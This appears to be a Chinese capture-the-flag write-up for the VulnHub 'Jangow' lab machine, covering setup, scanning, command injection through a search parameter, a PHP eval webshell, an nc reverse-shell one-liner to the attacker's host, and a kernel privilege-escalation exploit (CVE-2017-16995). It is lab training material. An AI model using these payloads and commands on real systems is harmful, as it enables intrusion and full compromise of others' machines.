下载&部署
下载
下载链接:
https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova
点击下载即可
部署
因为源虚拟机是从virtualbox导出的,为了避免繁琐的操作步骤,用virtualbox来导入
virtualbox下载地址:
https://download.virtualbox.org/virtualbox/7.0.14/VirtualBox-7.0.14-161095-Win.exe
安装完成后选择导入就好了
导入完成后,右键该虚拟机打开设置,将网络改为桥接网卡
然后启动虚拟机就可以开始打靶场了
通关步骤
虚拟机上已经显示了它的IP地址,通常我们确定IP地址的话需要使用nmap去扫描该网段确认存活
使用ping确认kali是与靶场网络连通的,注意kali要与靶机在同一网段
查看端口开放情况
nmap 192.168.1.156
发现目标开放了21、25、80端口,开启了80端口说明该服务器有web服务
使用dirsearch扫描站点目录发现/.backup目录
访问/.backup发现mysql配置文件,有mysql的账号密码,但该服务器未开放3306端口,因此无法远程连接,先寻找其他的线索
访问ftp服务需要验证,我们不知道ftp的账号密码
点击site进入页面
在页面的Buscar处点击后url变为:
http://192.168.1.156/site/busque.php?buscar=
猜测此处存在命令执行或文件包含漏洞,尝试了一下../../../../../../../etc/passwd没有回写,输入whoami命令出现回写
http://192.168.1.156/site/busque.php?buscar=whoami
因此此处有命令执行漏洞,同时www-data是网站权限
尝试写入一句话木马:
http://192.168.1.156/site/busque.php?buscar=echo '<?php @eval($_POST['a']);?>' >> shell.php
此时没有明显回写,我们使用ls命令查看当前目录文件,可以发现shell.php文件已经写入了
随后使用pwd命令查看绝对路径
使用蚁剑进行连接
因为我们正常访问页面实际上就是从/var/www/html/目录出发的,所以这里URL地址是
http://192.168.1.156/site/shell.php,然后密码是写入文件的a
右键打开虚拟终端
接下来就是想方设法地寻找提权到root的方法,我们使用uname -a查看系统内核版本,发现系统内核为ubuntu4.4.0
使用Metasploit(MSF)的search指令寻找是否该版本存在漏洞
searchsploit ubuntu 4.4
发现Local Privilege Escalation(本地权限升级)漏洞,在网上找到了对应了漏洞编号为CVE-2017-16995,该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。 非特权用户可以使用此漏洞获得权限提升。我们将exp给下载下来
searchsploit -m 45010.c
将文件通过蚁剑上传到目标服务器
接下来进行反弹shell,使用kali进行监听443端口
使用蚁剑的虚拟终端输入以下命令反弹shell成功,IP为kali的IP,端口为kali监听的端口
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.142 443 >/tmp/f
python3 -c 'import pty;pty.spawn("/bin/bash")' //升级为交互式shell
随后使用刚才上传的45010.c进行提权操作
gcc -o exp 45010.c //编译为执行文件exp
chmod +x exp //给exp赋予执行权限
./exp //运行提权脚本
进入root目录查看proof.txt文件
解密该MD5字段为[空密码]